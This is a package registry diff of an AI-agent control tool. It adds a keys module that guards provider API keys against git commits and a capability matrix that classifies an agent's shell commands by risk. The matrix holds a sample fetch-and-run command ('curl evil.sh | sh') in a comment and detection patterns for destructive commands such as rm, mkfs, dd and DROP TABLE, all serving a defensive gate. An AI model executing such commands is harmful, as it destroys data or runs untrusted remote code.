handcode 0.3.0rc1__py3-none-any.whl
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- agentctl/__init__.py +0 -0
- agentctl/adapters/__init__.py +0 -0
- agentctl/adapters/litellm/__init__.py +9 -0
- agentctl/adapters/litellm/hook.py +49 -0
- agentctl/adapters/litellm/recorder.py +187 -0
- agentctl/adapters/openhands/__init__.py +169 -0
- agentctl/adapters/openhands/handoff.py +155 -0
- agentctl/adapters/openhands/seam_b.py +259 -0
- agentctl/adapters/openhands/seam_c.py +209 -0
- agentctl/cli.py +1450 -0
- agentctl/control/__init__.py +0 -0
- agentctl/control/cost/__init__.py +4 -0
- agentctl/control/cost/ledger.py +210 -0
- agentctl/control/dash.py +697 -0
- agentctl/control/keys.py +440 -0
- agentctl/control/matrix/__init__.py +0 -0
- agentctl/control/matrix/data/tools.yaml +149 -0
- agentctl/control/policy/__init__.py +10 -0
- agentctl/control/policy/compile.py +258 -0
- agentctl/control/policy/data/policy.compiled.json +38 -0
- agentctl/control/policy/data/policy.yaml +46 -0
- agentctl/control/probe.py +399 -0
- agentctl/control/providers.py +293 -0
- agentctl/control/proxy.py +536 -0
- agentctl/control/proxyenv.py +309 -0
- agentctl/control/replay/__init__.py +14 -0
- agentctl/control/replay/cassette.py +281 -0
- agentctl/control/replay/server.py +109 -0
- agentctl/demo/__init__.py +214 -0
- agentctl/demo/child.py +84 -0
- agentctl/demo/mock.py +79 -0
- agentctl/demo/tool.py +62 -0
- agentctl/gha.py +488 -0
- agentctl/kernel/__init__.py +0 -0
- agentctl/kernel/classify.py +170 -0
- agentctl/kernel/gate.py +391 -0
- agentctl/kernel/hook.py +229 -0
- agentctl/kernel/ledger/__init__.py +0 -0
- agentctl/kernel/ledger/models.py +160 -0
- agentctl/kernel/ledger/schema.sql +62 -0
- agentctl/kernel/ledger/store.py +596 -0
- agentctl/kernel/paths.py +203 -0
- agentctl/kernel/policy.py +160 -0
- agentctl/kernel/reconcile/__init__.py +31 -0
- agentctl/kernel/reconcile/base.py +106 -0
- agentctl/kernel/reconcile/external.py +137 -0
- agentctl/kernel/reconcile/filesystem.py +162 -0
- agentctl/kernel/reconcile/git.py +162 -0
- agentctl/runtime/__init__.py +20 -0
- agentctl/runtime/citations.py +179 -0
- agentctl/runtime/config.py +97 -0
- agentctl/runtime/doctor.py +335 -0
- agentctl/runtime/init.py +148 -0
- agentctl/runtime/lease.py +143 -0
- agentctl/runtime/orchestrate.py +187 -0
- agentctl/runtime/plugins.py +130 -0
- agentctl/runtime/report.py +361 -0
- agentctl/runtime/runner.py +787 -0
- agentctl/runtime/runs.py +191 -0
- agentctl/runtime/subagent.py +274 -0
- agentctl/runtime/tools.py +350 -0
- handcode-0.3.0rc1.dist-info/METADATA +659 -0
- handcode-0.3.0rc1.dist-info/RECORD +67 -0
- handcode-0.3.0rc1.dist-info/WHEEL +5 -0
- handcode-0.3.0rc1.dist-info/entry_points.txt +3 -0
- handcode-0.3.0rc1.dist-info/licenses/LICENSE +21 -0
- handcode-0.3.0rc1.dist-info/top_level.txt +1 -0
agentctl/control/keys.py
ADDED
|
@@ -0,0 +1,440 @@
|
|
|
1
|
+
r"""One file holding every provider key, and the guards that keep it private.
|
|
2
|
+
|
|
3
|
+
agentctl keys --init write a template listing every provider
|
|
4
|
+
agentctl keys show which are set, and where to get the rest
|
|
5
|
+
|
|
6
|
+
## The file never reaches me, and never reaches git
|
|
7
|
+
|
|
8
|
+
Values are read from disk into the process environment and **never printed,
|
|
9
|
+
logged, echoed in an error, or shown by any command here** — `agentctl keys`
|
|
10
|
+
reports `set (73 chars)`, never the key. That is the same rule the runner
|
|
11
|
+
already follows for `OPENROUTER_API_KEY`.
|
|
12
|
+
|
|
13
|
+
The larger risk is not display, it is `git add -A`. A file of live API keys
|
|
14
|
+
committed to a public repository is the single worst outcome this project can
|
|
15
|
+
produce, so there are three independent guards:
|
|
16
|
+
|
|
17
|
+
1. `--init` writes `.gitignore` entries before it writes the file
|
|
18
|
+
2. `load()` refuses to proceed if the file is **tracked by git**, because at
|
|
19
|
+
that point ignoring it does nothing
|
|
20
|
+
3. `check_not_tracked()` is called by `doctor`, so the warning appears even
|
|
21
|
+
when nobody is thinking about keys
|
|
22
|
+
|
|
23
|
+
Guard 2 is the one that matters. A `.gitignore` entry added *after* a file is
|
|
24
|
+
already tracked has no effect at all, and that is exactly how keys get
|
|
25
|
+
published — the ignore rule is there, everybody assumes it works, and the file
|
|
26
|
+
was staged before it existed.
|
|
27
|
+
"""
|
|
28
|
+
from __future__ import annotations
|
|
29
|
+
|
|
30
|
+
import os
|
|
31
|
+
import re
|
|
32
|
+
import subprocess
|
|
33
|
+
from pathlib import Path
|
|
34
|
+
|
|
35
|
+
from .providers import PROVIDERS
|
|
36
|
+
|
|
37
|
+
# Outside any repository, so no `git add -A` anywhere can reach it. This is
|
|
38
|
+
# the default for `--init` because a gitignore rule is a promise and a
|
|
39
|
+
# different directory is a fact.
|
|
40
|
+
HOME_PATH = Path.home() / ".agentctl" / "keys.env"
|
|
41
|
+
LOCAL_PATH = Path("keys.env")
|
|
42
|
+
|
|
43
|
+
# Anything matching these is a secret file we never want in a commit.
|
|
44
|
+
GITIGNORE_LINES = ("keys.env", ".env", "*.env", "!*.env.template")
|
|
45
|
+
|
|
46
|
+
|
|
47
|
+
def search_paths() -> list[Path]:
|
|
48
|
+
"""Where a keys file may live, nearest first.
|
|
49
|
+
|
|
50
|
+
`AGENTCTL_KEYS` wins, then a project-local file, then the home file. A
|
|
51
|
+
project-local one is supported because people expect it, and warned about
|
|
52
|
+
because it sits inside a repository.
|
|
53
|
+
"""
|
|
54
|
+
out = []
|
|
55
|
+
if (explicit := os.environ.get("AGENTCTL_KEYS")):
|
|
56
|
+
out.append(Path(explicit))
|
|
57
|
+
out += [LOCAL_PATH, HOME_PATH]
|
|
58
|
+
return out
|
|
59
|
+
|
|
60
|
+
|
|
61
|
+
def resolve() -> Path | None:
|
|
62
|
+
"""The keys file actually in use, or None."""
|
|
63
|
+
for p in search_paths():
|
|
64
|
+
if p.exists():
|
|
65
|
+
return p
|
|
66
|
+
return None
|
|
67
|
+
|
|
68
|
+
|
|
69
|
+
# Back-compat for callers that pass nothing.
|
|
70
|
+
DEFAULT_PATH = LOCAL_PATH
|
|
71
|
+
|
|
72
|
+
_LINE = re.compile(r"""^\s*(?:export\s+)?([A-Za-z_][A-Za-z0-9_]*)\s*=\s*(.*)$""")
|
|
73
|
+
|
|
74
|
+
|
|
75
|
+
class KeysAreTracked(RuntimeError):
|
|
76
|
+
"""The keys file is in git. Ignoring it now changes nothing."""
|
|
77
|
+
|
|
78
|
+
|
|
79
|
+
def set_value(path: str | Path, name: str, value: str) -> Path:
|
|
80
|
+
"""Put one key into a keys file: replace its line, or append one.
|
|
81
|
+
|
|
82
|
+
For `agentctl init`. The ignore rules are written FIRST (`write_template`
|
|
83
|
+
does that and never overwrites a filled file), and the value is never
|
|
84
|
+
printed, logged or returned -- only the path is.
|
|
85
|
+
"""
|
|
86
|
+
if not re.fullmatch(r"[A-Za-z_][A-Za-z0-9_]*", name):
|
|
87
|
+
raise ValueError(f"not a variable name: {name!r}")
|
|
88
|
+
if not value or any(c in value for c in "\r\n"):
|
|
89
|
+
raise ValueError("a key is one non-empty line")
|
|
90
|
+
p, _ = write_template(path)
|
|
91
|
+
lines = p.read_text(encoding="utf-8").splitlines()
|
|
92
|
+
for i, raw in enumerate(lines):
|
|
93
|
+
m = _LINE.match(raw.strip())
|
|
94
|
+
if m and m.group(1) == name and not raw.lstrip().startswith("#"):
|
|
95
|
+
lines[i] = f"{name}={value}"
|
|
96
|
+
break
|
|
97
|
+
else:
|
|
98
|
+
lines.append(f"{name}={value}")
|
|
99
|
+
p.write_text("\n".join(lines) + "\n", encoding="utf-8")
|
|
100
|
+
try:
|
|
101
|
+
os.chmod(p, 0o600) # no-op on Windows
|
|
102
|
+
except Exception: # noqa: BLE001
|
|
103
|
+
pass
|
|
104
|
+
return p
|
|
105
|
+
|
|
106
|
+
|
|
107
|
+
# ── reading ────────────────────────────────────────────────────────────
|
|
108
|
+
def parse(text: str) -> dict[str, str]:
|
|
109
|
+
"""A minimal .env parser. No dependency, no surprises.
|
|
110
|
+
|
|
111
|
+
Handles `KEY=value`, `export KEY=value`, quotes, blank lines and `#`
|
|
112
|
+
comments. Deliberately does not do variable interpolation: a key is a
|
|
113
|
+
literal, and `$` inside one is a character, not a reference.
|
|
114
|
+
"""
|
|
115
|
+
out: dict[str, str] = {}
|
|
116
|
+
for raw in text.splitlines():
|
|
117
|
+
line = raw.strip()
|
|
118
|
+
if not line or line.startswith("#"):
|
|
119
|
+
continue
|
|
120
|
+
m = _LINE.match(line)
|
|
121
|
+
if not m:
|
|
122
|
+
continue
|
|
123
|
+
name, value = m.group(1), m.group(2).strip()
|
|
124
|
+
if len(value) >= 2 and value[0] == value[-1] and value[0] in "\"'":
|
|
125
|
+
value = value[1:-1]
|
|
126
|
+
else:
|
|
127
|
+
value = value.split(" #")[0].strip()
|
|
128
|
+
if value:
|
|
129
|
+
out[name] = value
|
|
130
|
+
return out
|
|
131
|
+
|
|
132
|
+
|
|
133
|
+
def _git(path: Path, *args: str) -> subprocess.CompletedProcess | None:
|
|
134
|
+
"""Run git with the keys file's own directory as cwd.
|
|
135
|
+
|
|
136
|
+
The directory matters. `~/.agentctl/keys.env` may sit inside a repository
|
|
137
|
+
that has nothing to do with this project — on the machine this was written
|
|
138
|
+
on, the home directory itself is a repo with an unrelated remote. Asking
|
|
139
|
+
git from the wrong cwd answers about the wrong repository.
|
|
140
|
+
"""
|
|
141
|
+
try:
|
|
142
|
+
return subprocess.run(["git", *args], capture_output=True, text=True,
|
|
143
|
+
cwd=str(path.parent if path.parent.exists() else "."))
|
|
144
|
+
except Exception: # noqa: BLE001
|
|
145
|
+
return None # no git: not our problem
|
|
146
|
+
|
|
147
|
+
|
|
148
|
+
def enclosing_repo(path: str | Path) -> Path | None:
|
|
149
|
+
"""The repository the keys file lives inside, if any."""
|
|
150
|
+
p = Path(path)
|
|
151
|
+
r = _git(p, "rev-parse", "--show-toplevel")
|
|
152
|
+
if r is None or r.returncode != 0:
|
|
153
|
+
return None
|
|
154
|
+
return Path(r.stdout.strip()) if r.stdout.strip() else None
|
|
155
|
+
|
|
156
|
+
|
|
157
|
+
def check_not_tracked(path: str | Path = DEFAULT_PATH) -> str | None:
|
|
158
|
+
"""Is the keys file exposed to git? Returns a warning, or None.
|
|
159
|
+
|
|
160
|
+
Two distinct states, and the second is the one worth catching, because it
|
|
161
|
+
is the moment *before* the accident rather than after:
|
|
162
|
+
|
|
163
|
+
* **tracked** — already committed. The keys must be assumed public.
|
|
164
|
+
* **inside a repo and not ignored** — one `git add -A` away from that.
|
|
165
|
+
"""
|
|
166
|
+
p = Path(path)
|
|
167
|
+
if not p.exists():
|
|
168
|
+
return None
|
|
169
|
+
|
|
170
|
+
r = _git(p, "ls-files", "--error-unmatch", str(p))
|
|
171
|
+
if r is None:
|
|
172
|
+
return None
|
|
173
|
+
if r.returncode == 0:
|
|
174
|
+
return (f"{p} is TRACKED BY GIT. A .gitignore entry does nothing once a "
|
|
175
|
+
f"file is tracked. Run: git rm --cached {p} and rotate every "
|
|
176
|
+
f"key in it — assume they are public.")
|
|
177
|
+
|
|
178
|
+
repo = enclosing_repo(p)
|
|
179
|
+
if repo is None:
|
|
180
|
+
return None # not in a repo: safe
|
|
181
|
+
ig = _git(p, "check-ignore", "-q", str(p))
|
|
182
|
+
if ig is not None and ig.returncode != 0:
|
|
183
|
+
return (f"{p} sits inside the git repository at {repo} and is NOT "
|
|
184
|
+
f"ignored there. One `git add -A` would stage your keys. "
|
|
185
|
+
f"Fix: echo '{p.name}' >> {repo / '.gitignore'}")
|
|
186
|
+
return None
|
|
187
|
+
|
|
188
|
+
|
|
189
|
+
def load(path: str | Path = DEFAULT_PATH, *, override: bool = False) -> list[str]:
|
|
190
|
+
"""Load keys into `os.environ`. Returns the NAMES set, never the values.
|
|
191
|
+
|
|
192
|
+
An existing environment variable wins unless `override=True`: something
|
|
193
|
+
already exported is a deliberate act, and a file should not silently
|
|
194
|
+
replace it.
|
|
195
|
+
"""
|
|
196
|
+
p = Path(path)
|
|
197
|
+
if not p.exists():
|
|
198
|
+
return []
|
|
199
|
+
|
|
200
|
+
if (warning := check_not_tracked(p)):
|
|
201
|
+
raise KeysAreTracked(warning)
|
|
202
|
+
|
|
203
|
+
loaded = []
|
|
204
|
+
for name, value in parse(p.read_text(encoding="utf-8")).items():
|
|
205
|
+
if override or not os.environ.get(name):
|
|
206
|
+
os.environ[name] = value
|
|
207
|
+
loaded.append(name)
|
|
208
|
+
return loaded
|
|
209
|
+
|
|
210
|
+
|
|
211
|
+
def load_all(override: bool = False) -> tuple[Path | None, list[str]]:
|
|
212
|
+
"""Load from the first keys file that exists. Returns (path, NAMES)."""
|
|
213
|
+
p = resolve()
|
|
214
|
+
return (p, load(p, override=override)) if p else (None, [])
|
|
215
|
+
|
|
216
|
+
|
|
217
|
+
def load_quietly(path: str | Path | None = None) -> list[str]:
|
|
218
|
+
"""`load`, but a tracked-file refusal becomes a warning on stderr.
|
|
219
|
+
|
|
220
|
+
Used on the CLI's startup path. Refusing to run at all would be the safer
|
|
221
|
+
reflex and the wrong one here: the key is already exposed, and preventing
|
|
222
|
+
the user from using their own tool does not un-expose it. Being loud does.
|
|
223
|
+
"""
|
|
224
|
+
import sys
|
|
225
|
+
|
|
226
|
+
path = path or resolve()
|
|
227
|
+
if path is None:
|
|
228
|
+
return []
|
|
229
|
+
try:
|
|
230
|
+
return load(path)
|
|
231
|
+
except KeysAreTracked as e:
|
|
232
|
+
print(f"\n !! {e}\n", file=sys.stderr)
|
|
233
|
+
try:
|
|
234
|
+
return [n for n, v in parse(Path(path).read_text(encoding="utf-8")).items()
|
|
235
|
+
if not os.environ.get(n) and not os.environ.__setitem__(n, v)]
|
|
236
|
+
except Exception: # noqa: BLE001
|
|
237
|
+
return []
|
|
238
|
+
|
|
239
|
+
|
|
240
|
+
# ── writing the template ───────────────────────────────────────────────
|
|
241
|
+
def template(extra_slots: int = 2) -> str:
|
|
242
|
+
"""The file to paste keys into. Multiple accounts per provider.
|
|
243
|
+
|
|
244
|
+
`extra_slots` commented lines per provider show the naming convention, so
|
|
245
|
+
adding a second account is uncommenting a line rather than reading docs.
|
|
246
|
+
"""
|
|
247
|
+
lines = [
|
|
248
|
+
"# ════════════════════════════════════════════════════════════════",
|
|
249
|
+
"# agentctl provider keys NEVER COMMIT THIS FILE",
|
|
250
|
+
"# ════════════════════════════════════════════════════════════════",
|
|
251
|
+
"#",
|
|
252
|
+
"# Paste keys after the `=`. No quotes needed, no spaces around it.",
|
|
253
|
+
"# Blank lines are fine -- leave anything you do not have empty.",
|
|
254
|
+
"#",
|
|
255
|
+
"# Values are read into the environment and NEVER printed, logged, or",
|
|
256
|
+
"# shown by any command. `agentctl keys` says `set (73 chars)`.",
|
|
257
|
+
"#",
|
|
258
|
+
"# ── MORE THAN ONE KEY ───────────────────────────────────────────",
|
|
259
|
+
"#",
|
|
260
|
+
"# One key is enough to start. A daily cap on it stops work until it",
|
|
261
|
+
"# resets; a key at a SECOND PROVIDER survives that, and survives the",
|
|
262
|
+
"# first provider going down.",
|
|
263
|
+
"#",
|
|
264
|
+
"# Extra keys at the same provider are accepted with any suffix:",
|
|
265
|
+
"#",
|
|
266
|
+
"# OPENROUTER_API_KEY=sk-or-v1-.... <- first key",
|
|
267
|
+
"# OPENROUTER_API_KEY_WORK=sk-or-v1-... <- another account",
|
|
268
|
+
"#",
|
|
269
|
+
"# Each becomes its own deployment in the pool (`docs/0033`). Whether",
|
|
270
|
+
"# it is a separate quota is UNVERIFIED, and pooling several free",
|
|
271
|
+
"# accounts may be against that provider's terms. Check both before",
|
|
272
|
+
"# relying on it (`docs/0042` §4.C).",
|
|
273
|
+
"#",
|
|
274
|
+
"# ── AFTER EDITING ───────────────────────────────────────────────",
|
|
275
|
+
"#",
|
|
276
|
+
"# agentctl keys what is set now",
|
|
277
|
+
"# agentctl dash whether failover is actually ready",
|
|
278
|
+
"# agentctl proxy rebuild the pool from these keys",
|
|
279
|
+
"#",
|
|
280
|
+
"",
|
|
281
|
+
]
|
|
282
|
+
for p in PROVIDERS:
|
|
283
|
+
lines.append("# " + "─" * 62)
|
|
284
|
+
lines.append(f"# {p.name.upper()}{'' if p.free_tier else ' (PAID -- costs money)'}")
|
|
285
|
+
lines.append(f"# get a key: {p.console}")
|
|
286
|
+
for i, step in enumerate(p.steps, 1):
|
|
287
|
+
lines.append(f"# {i}. {step}")
|
|
288
|
+
if p.note:
|
|
289
|
+
# Label the first wrapped line, indent the continuations. The
|
|
290
|
+
# first version compared chunks with `is`, which is identity on
|
|
291
|
+
# strings and was never true, so no note was ever labelled.
|
|
292
|
+
for i, chunk in enumerate(_wrap(p.note, 66)):
|
|
293
|
+
lines.append(f"# note: {chunk}" if i == 0
|
|
294
|
+
else f"# {chunk}")
|
|
295
|
+
lines.append("")
|
|
296
|
+
lines.append(f"{p.key}=")
|
|
297
|
+
for n in range(2, extra_slots + 2):
|
|
298
|
+
lines.append(f"# {p.key}_{n}=")
|
|
299
|
+
lines.append("")
|
|
300
|
+
return "\n".join(lines)
|
|
301
|
+
|
|
302
|
+
|
|
303
|
+
def _wrap(text: str, width: int) -> list[str]:
|
|
304
|
+
import textwrap
|
|
305
|
+
return textwrap.wrap(text, width) or [text]
|
|
306
|
+
|
|
307
|
+
|
|
308
|
+
def write_template(path: str | Path | None = None,
|
|
309
|
+
gitignore: str | Path | None = None) -> tuple[Path, bool]:
|
|
310
|
+
"""Write the template, ignoring it FIRST. Never overwrites a filled file.
|
|
311
|
+
|
|
312
|
+
Defaults to `~/.agentctl/keys.env`, outside any repository. A gitignore
|
|
313
|
+
entry is a promise that has to be kept by every future `git add`; a
|
|
314
|
+
different directory is a fact that holds regardless.
|
|
315
|
+
"""
|
|
316
|
+
p = Path(path) if path else HOME_PATH
|
|
317
|
+
p.parent.mkdir(parents=True, exist_ok=True)
|
|
318
|
+
|
|
319
|
+
# Ignore rules FIRST, and in the repository that actually contains the
|
|
320
|
+
# file. The first version wrote them into the current project's
|
|
321
|
+
# `.gitignore` while placing the file under `~/.agentctl` — which on this
|
|
322
|
+
# machine is inside a *different* repo, leaving the file unprotected in the
|
|
323
|
+
# only repo that could commit it (`docs/0033` §5).
|
|
324
|
+
#
|
|
325
|
+
# The cwd's `.gitignore` is no longer a default target: it protects the
|
|
326
|
+
# file only when the file is inside the cwd's repository, which the
|
|
327
|
+
# enclosing-repo rule already covers. Otherwise it was a stray write into
|
|
328
|
+
# whatever directory `--init` ran in -- someone else's project, or no
|
|
329
|
+
# repository at all (`docs/0044` N8). An explicit `gitignore` still wins.
|
|
330
|
+
repo = enclosing_repo(p)
|
|
331
|
+
targets = {Path(gitignore)} if gitignore else set()
|
|
332
|
+
if repo:
|
|
333
|
+
targets.add(repo / ".gitignore")
|
|
334
|
+
for target in targets:
|
|
335
|
+
try:
|
|
336
|
+
ensure_ignored(target, name=p.name)
|
|
337
|
+
except Exception: # noqa: BLE001
|
|
338
|
+
pass # not a repo: fine
|
|
339
|
+
if p.exists():
|
|
340
|
+
return p, False
|
|
341
|
+
p.parent.mkdir(parents=True, exist_ok=True)
|
|
342
|
+
p.write_text(template(), encoding="utf-8")
|
|
343
|
+
try:
|
|
344
|
+
os.chmod(p, 0o600) # no-op on Windows
|
|
345
|
+
except Exception: # noqa: BLE001
|
|
346
|
+
pass
|
|
347
|
+
return p, True
|
|
348
|
+
|
|
349
|
+
|
|
350
|
+
def ensure_ignored(gitignore: str | Path = ".gitignore",
|
|
351
|
+
name: str | None = None) -> bool:
|
|
352
|
+
"""Add the ignore rules if absent. Called BEFORE the file is created.
|
|
353
|
+
|
|
354
|
+
`name` adds the specific filename too, so a keys file with an unusual name
|
|
355
|
+
is covered as well as the generic `*.env` patterns.
|
|
356
|
+
"""
|
|
357
|
+
g = Path(gitignore)
|
|
358
|
+
have = g.read_text(encoding="utf-8") if g.exists() else ""
|
|
359
|
+
wanted = list(GITIGNORE_LINES) + ([name] if name else [])
|
|
360
|
+
need = [l for l in dict.fromkeys(wanted) if l not in have.splitlines()]
|
|
361
|
+
if not need:
|
|
362
|
+
return False
|
|
363
|
+
g.parent.mkdir(parents=True, exist_ok=True)
|
|
364
|
+
with g.open("a", encoding="utf-8", newline="\n") as fh:
|
|
365
|
+
fh.write("\n# Provider API keys. Written by `agentctl keys --init`.\n")
|
|
366
|
+
fh.write("\n".join(need) + "\n")
|
|
367
|
+
return True
|
|
368
|
+
|
|
369
|
+
|
|
370
|
+
# ── blocking a commit that contains a real key ─────────────────────────
|
|
371
|
+
def scan_text(text: str, values: set[str] | None = None) -> list[str]:
|
|
372
|
+
"""Which of YOUR keys appear in `text`. Returns env names, never values.
|
|
373
|
+
|
|
374
|
+
Compares against the credentials you actually hold rather than against a
|
|
375
|
+
shape. A regex for `sk-[A-Za-z0-9]{20,}` flags every placeholder in every
|
|
376
|
+
test file, and a check that cries wolf is one people learn to ignore --
|
|
377
|
+
which is worse than no check, because it is mistaken for protection.
|
|
378
|
+
"""
|
|
379
|
+
path = resolve()
|
|
380
|
+
if values is None:
|
|
381
|
+
if path is None:
|
|
382
|
+
return []
|
|
383
|
+
values = set()
|
|
384
|
+
pairs = parse(path.read_text(encoding="utf-8"))
|
|
385
|
+
else:
|
|
386
|
+
pairs = {}
|
|
387
|
+
names = []
|
|
388
|
+
for name, value in (pairs.items() if pairs else []):
|
|
389
|
+
# Short values are not credentials and would match everywhere.
|
|
390
|
+
if value and len(value) >= 16 and value in text:
|
|
391
|
+
names.append(name)
|
|
392
|
+
for value in values:
|
|
393
|
+
if value and len(value) >= 16 and value in text:
|
|
394
|
+
names.append("<supplied>")
|
|
395
|
+
return names
|
|
396
|
+
|
|
397
|
+
|
|
398
|
+
def scan_staged() -> list[str]:
|
|
399
|
+
"""Real keys present in what git is about to commit."""
|
|
400
|
+
r = subprocess.run(["git", "diff", "--cached"], capture_output=True,
|
|
401
|
+
text=True, encoding="utf-8", errors="replace")
|
|
402
|
+
if r.returncode != 0:
|
|
403
|
+
return []
|
|
404
|
+
return scan_text(r.stdout)
|
|
405
|
+
|
|
406
|
+
|
|
407
|
+
PRE_COMMIT_HOOK = """#!/bin/sh
|
|
408
|
+
# Installed by `agentctl keys --install-hook`.
|
|
409
|
+
# Refuses any commit containing a credential from your keys file.
|
|
410
|
+
exec "{python}" -c "
|
|
411
|
+
import sys
|
|
412
|
+
sys.path.insert(0, r'{root}')
|
|
413
|
+
from agentctl.control.keys import scan_staged
|
|
414
|
+
hits = scan_staged()
|
|
415
|
+
if hits:
|
|
416
|
+
print('COMMIT BLOCKED: these keys appear in the staged changes:')
|
|
417
|
+
for h in sorted(set(hits)):
|
|
418
|
+
print(' ', h)
|
|
419
|
+
print('Remove them, then commit. If one was already pushed, rotate it.')
|
|
420
|
+
raise SystemExit(1)
|
|
421
|
+
"
|
|
422
|
+
"""
|
|
423
|
+
|
|
424
|
+
|
|
425
|
+
def install_hook(repo: str | Path = ".") -> Path:
|
|
426
|
+
"""Install the pre-commit guard in `repo`."""
|
|
427
|
+
import sys
|
|
428
|
+
|
|
429
|
+
hooks = Path(repo) / ".git" / "hooks"
|
|
430
|
+
hooks.mkdir(parents=True, exist_ok=True)
|
|
431
|
+
p = hooks / "pre-commit"
|
|
432
|
+
p.write_text(
|
|
433
|
+
PRE_COMMIT_HOOK.format(python=sys.executable.replace("\\", "/"),
|
|
434
|
+
root=str(Path(__file__).resolve().parent.parent.parent)),
|
|
435
|
+
encoding="utf-8", newline="\n")
|
|
436
|
+
try:
|
|
437
|
+
os.chmod(p, 0o755)
|
|
438
|
+
except Exception: # noqa: BLE001
|
|
439
|
+
pass
|
|
440
|
+
return p
|
|
File without changes
|
|
@@ -0,0 +1,149 @@
|
|
|
1
|
+
# Capability matrix — per-tool effect classes. docs/0012 §5.1
|
|
2
|
+
#
|
|
3
|
+
# This table is the whole correctness story. Get it wrong and the gate protects
|
|
4
|
+
# the wrong things. It is data, not code, precisely so it can be reviewed.
|
|
5
|
+
version: 1
|
|
6
|
+
|
|
7
|
+
defaults:
|
|
8
|
+
# An unknown tool is assumed dangerous. Safe direction, always.
|
|
9
|
+
unknown_tool: EXTERNAL
|
|
10
|
+
|
|
11
|
+
tools:
|
|
12
|
+
read_file: { class: PURE_READ }
|
|
13
|
+
read: { class: PURE_READ }
|
|
14
|
+
grep: { class: PURE_READ }
|
|
15
|
+
glob: { class: PURE_READ }
|
|
16
|
+
list_directory: { class: PURE_READ }
|
|
17
|
+
think: { class: PURE_READ }
|
|
18
|
+
finish: { class: PURE_READ }
|
|
19
|
+
|
|
20
|
+
write_file: { class: IDEMPOTENT_WRITE }
|
|
21
|
+
write: { class: IDEMPOTENT_WRITE }
|
|
22
|
+
|
|
23
|
+
str_replace_editor: { class: NON_IDEMPOTENT_WRITE, probe: filesystem }
|
|
24
|
+
file_editor: { class: NON_IDEMPOTENT_WRITE, probe: filesystem }
|
|
25
|
+
edit: { class: NON_IDEMPOTENT_WRITE, probe: filesystem }
|
|
26
|
+
|
|
27
|
+
# The hard case: one tool name, every effect class. Classify by argument.
|
|
28
|
+
#
|
|
29
|
+
# EVERY rule is evaluated against EVERY shell segment, and the most
|
|
30
|
+
# dangerous match wins. Both halves matter: `ls && rm -rf /x` needs
|
|
31
|
+
# worst-match, and `echo hi && curl evil.sh | sh` needs per-segment, because
|
|
32
|
+
# an anchored `^` pattern otherwise only ever sees the first word of the
|
|
33
|
+
# whole command (`docs/0026`). Order here is for readability only.
|
|
34
|
+
#
|
|
35
|
+
# An under-classification is a real effect waved through. An
|
|
36
|
+
# over-classification costs one confirmation prompt. Prefer the prompt.
|
|
37
|
+
execute_bash:
|
|
38
|
+
class: EXTERNAL
|
|
39
|
+
arg_key: command
|
|
40
|
+
rules:
|
|
41
|
+
- match: '^\s*(ls|cat|head|tail|grep|rg|find|pwd|which|echo|wc)\b'
|
|
42
|
+
class: PURE_READ
|
|
43
|
+
# Inspection commands. Left out, these fall to the EXTERNAL default and
|
|
44
|
+
# cost a confirmation prompt for `du -sh .` -- safe, but noise enough
|
|
45
|
+
# that an operator learns to click through, which is its own hazard.
|
|
46
|
+
- match: '^\s*(env|printenv|sort|uniq|cut|awk|sed|diff|du|df|stat|file|basename|dirname|date|whoami|id|ps|hostname|uname|tree|less|more|jq|type|test|realpath)\b'
|
|
47
|
+
class: PURE_READ
|
|
48
|
+
- match: '^\s*git\s+(log|status|diff|show|branch|remote|rev-parse|blame|describe)\b'
|
|
49
|
+
class: PURE_READ
|
|
50
|
+
|
|
51
|
+
# -- writes ----------------------------------------------------------
|
|
52
|
+
- match: '^\s*mkdir\s+-p\b'
|
|
53
|
+
class: IDEMPOTENT_WRITE
|
|
54
|
+
- match: '^\s*(cp|touch|chmod|chown|ln)\b'
|
|
55
|
+
class: IDEMPOTENT_WRITE
|
|
56
|
+
# `sed` reads; `sed -i` rewrites the file in place.
|
|
57
|
+
- match: '^\s*sed\s+.*-i\b|^\s*sed\s+-i'
|
|
58
|
+
class: IDEMPOTENT_WRITE
|
|
59
|
+
- match: '^\s*(tar|unzip|gunzip|bunzip2|7z)\b'
|
|
60
|
+
class: IDEMPOTENT_WRITE
|
|
61
|
+
- match: '^\s*mv\b'
|
|
62
|
+
class: NON_IDEMPOTENT_WRITE
|
|
63
|
+
probe: filesystem
|
|
64
|
+
# A truncating redirect writes a file, whatever produced the bytes.
|
|
65
|
+
# `cat secrets > /tmp/x` is not a read. Excludes `>>` and `2>&1`.
|
|
66
|
+
- match: '(?<![>&\-])>(?![>&])'
|
|
67
|
+
class: IDEMPOTENT_WRITE
|
|
68
|
+
- match: '>>' # append redirect
|
|
69
|
+
class: NON_IDEMPOTENT_WRITE
|
|
70
|
+
probe: filesystem
|
|
71
|
+
|
|
72
|
+
# -- destructive -----------------------------------------------------
|
|
73
|
+
# `rm` in ANY spelling. The old rule caught only `rm -rf`, so plain
|
|
74
|
+
# `rm file.txt` fell through to the EXTERNAL default and never prompted.
|
|
75
|
+
- match: '(^|[\s;&|])rm\b'
|
|
76
|
+
class: DESTRUCTIVE
|
|
77
|
+
- match: '^\s*(del|erase)\b'
|
|
78
|
+
class: DESTRUCTIVE
|
|
79
|
+
- match: '^\s*(rd|rmdir)\b'
|
|
80
|
+
class: DESTRUCTIVE
|
|
81
|
+
- match: '^\s*Remove-Item\b'
|
|
82
|
+
class: DESTRUCTIVE
|
|
83
|
+
- match: '^\s*format\s+[A-Za-z]:'
|
|
84
|
+
class: DESTRUCTIVE
|
|
85
|
+
- match: '(^|[\s;&|])(shred|truncate|mkfs\S*|fdisk)\b'
|
|
86
|
+
class: DESTRUCTIVE
|
|
87
|
+
- match: '\bdd\s+if='
|
|
88
|
+
class: DESTRUCTIVE
|
|
89
|
+
- match: '\bfind\b.*(-delete|-exec\s+rm)\b'
|
|
90
|
+
class: DESTRUCTIVE
|
|
91
|
+
- match: '\bDROP\s+(TABLE|DATABASE)\b'
|
|
92
|
+
class: DESTRUCTIVE
|
|
93
|
+
# git operations that destroy work that was never committed
|
|
94
|
+
- match: '^\s*git\s+reset\s+.*--hard\b'
|
|
95
|
+
class: DESTRUCTIVE
|
|
96
|
+
- match: '^\s*git\s+clean\b'
|
|
97
|
+
class: DESTRUCTIVE
|
|
98
|
+
- match: '^\s*git\s+(checkout|restore)\s+(--|\.)'
|
|
99
|
+
class: DESTRUCTIVE
|
|
100
|
+
